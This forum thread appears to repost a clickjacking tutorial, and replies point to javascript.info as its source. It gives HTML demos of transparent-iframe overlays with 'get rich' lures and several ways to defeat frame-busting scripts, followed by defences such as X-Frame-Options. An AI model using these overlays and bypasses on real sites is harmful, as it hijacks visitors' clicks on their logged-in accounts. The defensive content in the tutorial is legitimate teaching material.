

Forum:[Hack Forums](#)

Thread: [Clickjacking](#)

aiden_pearce - March 12, 2014, 2:53 pm

Clickjacking attack allows to perform an action on victim site on visitor's behalf. Clickjacking

the overall idea is simple.

A visitor is lured to evil page. No matter how. "Click to get 1000000\$" or whatever.

The evil page puts a "get rich now" link with z-index=-1.

The evil page includes a transparent iframe from the victim domain, say facebook.com and positions it so that "I like it" button is right over the link.

Here's how it looks (half-transparent iframe for demo purposes):

```
01
02 <style>
03 iframe { /* iframe from facebook.com /
04     width:300px;
05     height:100px;
06     position:absolute;
07     top:0; left:0;
08     filter:alpha(opacity=50); / in real life opacity=0 */
09     opacity:0.5;
10 }
11 </style>
12
13 <div>Click on the link to get rich now:</div>
14
15 <iframe src="/files/tutorial/window/clicktarget.html"></iframe>
16
17 <a href="http://www.google.com" target="_blank"
18 style="position:relative;left:20px;z-index:-1">CLICK ME!</a>
```

```
<div>You'll be rich for the whole life!</div>
```

A click on the link actually happens on the iframe. Bingo! If the visitor is logged into facebook (and most of time he is), then facebook.com receives the click on behalf of the visitor.

On Twitter, it was the “Follow” button.

Same code, but transparent iframe (click to see the victim button pressed):

Actually, any single-click action is doable. All we need is to position the victim site iframe right. Most of time, the markup allows it.

Key events are much harder to hijack, because if the iframe is invisible, then the text in it's input fields are invisible too. The visitor will start to type, but won't see any text and won't continue the action.

Defences and the ways to break through

The frame busting is a the good old framing protection technique. If you want to be sure that the document is not shown in iframe, you can add the following code to it:

```
1
<script>
2
if(top !== window) {
3
    top.location = window.location
4
}
5
</script>
```

So, in theory, if the current window is not the topmost, then top.location is changed, so it will be topmost.

But in real life, such protection is too weak. It can be challenged and beaten. There are many ways for it. Let's review a few.

Blocking top navigation

It is possible to block the navigation caused by top.location assignment, in the onbeforeunload event.

The handler of this event returns a string which becomes a question to the user, asking him whether he wants to leave the page or not.

The outer window is located at the evil domain, so of course, the hacker may put any question there, and the user will believe and him stay. It's always like that.

In the example below, there is a protected iframe with the code:

```
1
Changes top.location to google.com
```

2

3

```
<script>
```

4

```
top.location = 'http://google.com'
```

5

```
</script>
```

6

```
<input type="button" value="test" onclick="alert('button works')">
```

Here, the evil page cancels top location change with a smart onbeforeunload (the user should press cancel):

1

```
<script>
```

2

```
window.onbeforeunload = function() {
```

3

```
    window.onbeforeunload = null
```

4

```
    return "Maybe you want to leave the page, before you become rich?!?"
```

5

```
}
```

6

```
</script>
```

7

8

```
<iframe src="http://javascript.info/files/tutorial/window/changetop.html"
```

```
style="height:80px"></iframe>
```

The event is not supported in Opera (at least Opera <=11) and ignored in this case by Chrome/Safari.

So the protection still works in Firefox and IE.

Other ways to workaround frame busting

In IE8, there is a proprietary security="restricted" feature which forbids JavaScript in the frame. For example,

1

```
<iframe security="restricted" src="http://javascript.info/files/tutorial/window/changetop.html"
```

```
style="height:80px"></iframe>
```

In Chrome (recent Webkit), we can use HTML5 sandbox attribute to allow scripts and forms, but forbid top navigation (no allow-top-navigation):

1

```
<iframe sandbox="allow-scripts allow-forms"
```

```
src="http://javascript.info/files/tutorial/window/changetop.html" style="height:80px"></iframe>
```

So, iframe will be able to use scripts, but it may not change top.location.

Firefox and older IE can activate designMode in parent page, this also prevents frame busting (thanks to owasp.org clickjacking page for the idea).

There are other ways to evade the simple frame busting defence, not listed here. Browsers try to fix hacks, but new ways continue to emerge.

The reliable frame busting defence

The most reliable method is to suspend showing the document until the `top == window` check:

The code of the defending frame:

```
01
<head>
02
  <style> body { display : none;} </style>
03
</head>
04
<body>
05

06
<script>
07
  if (self == top) {
08
    var theBody = document.getElementsByTagName('body')[0]
09
    theBody.style.display = "block"
10
  } else {
11
    top.location = self.location
12
  }
13
</script>
14

15
...
16

17
</body>
```

In the example above, we use `document.getElementsByTagName('body')` instead of `document.body`, because this way of getting BODY it works in all browsers when the document is not ready.

The only way to workaround it is HTML5 sandbox attribute which prevents top navigation. But newer browsers which support sandbox also provide another, even better way to protect from clickjacking (see below).

X-Frame-Options

All modern browsers support the X-Frame-Options header.

The header allows or disallows rendering of the document when inside an iframe.

It may have two possible values:

SAMEORIGIN

The document will be rendered (shown) in an frame only if the frame and it's parent have the same origin.

DENY

The document may not be rendered inside a frame.

Browsers ignore the header if specified in the META tag. So the following META will be ignored:

```
<meta http-equiv="X-Frame-Options" content="deny">
```

Demo

Let's use the clickjacking demo example from the beginning of the article, but now the server adds X-Frame-Options="sameorigin" header.

In the code below, the iframe is half-transparent. Run it and note that the browser doesn't render the iframe.

```
1
<div>Click on the link below</div>
2

3
<iframe src="http://javascript.info/misc/files/clickprotected.php"
style="width:300px;height:100px;position:absolute;top:0px;left:0px;filter:alpha(opacity=50);opacity:0.
5"></iframe>
4

5
<a href="http://www.google.com" target="_blank"
style="position:relative;left:20px;font-size:15px;z-index:-1">CLICK ME!</a>
6

7
<div>You'll be rich for the whole life!</div>
See the example above in IE8+, it should clearly demonstrate the idea.
```

Summary

Clickjacking is easy to implement. As far as there is an action on your site that can be done with a single click - it may be clickjacked.

An attacker can ensure that the visitor is logged into your site by social engineering. Or on some sites it is possible to send a message to a user with the "Happy Link". The user will browse his site mail and click on it, then be clickjacked.. Many variants are possible.

It is recommended that you use the X-Frame-Options at pages which are not meant to run into a frame.

The older frame busting method is less effective, but useful for older browsers, like IE7.?

I don't want to be an asshole but I doubt you made this tutorial.

iPwnza - *March 12, 2014, 3:40 pm*

-11 rep... He didn't. Obviously, you only get -rep when you do NONPRODUCTIVE things...

TRH4CK - *March 12, 2014, 3:53 pm*

Here's the tut: <http://javascript.info/tutorial/clickjacking> (easier to follow) and thanks for the credits...~!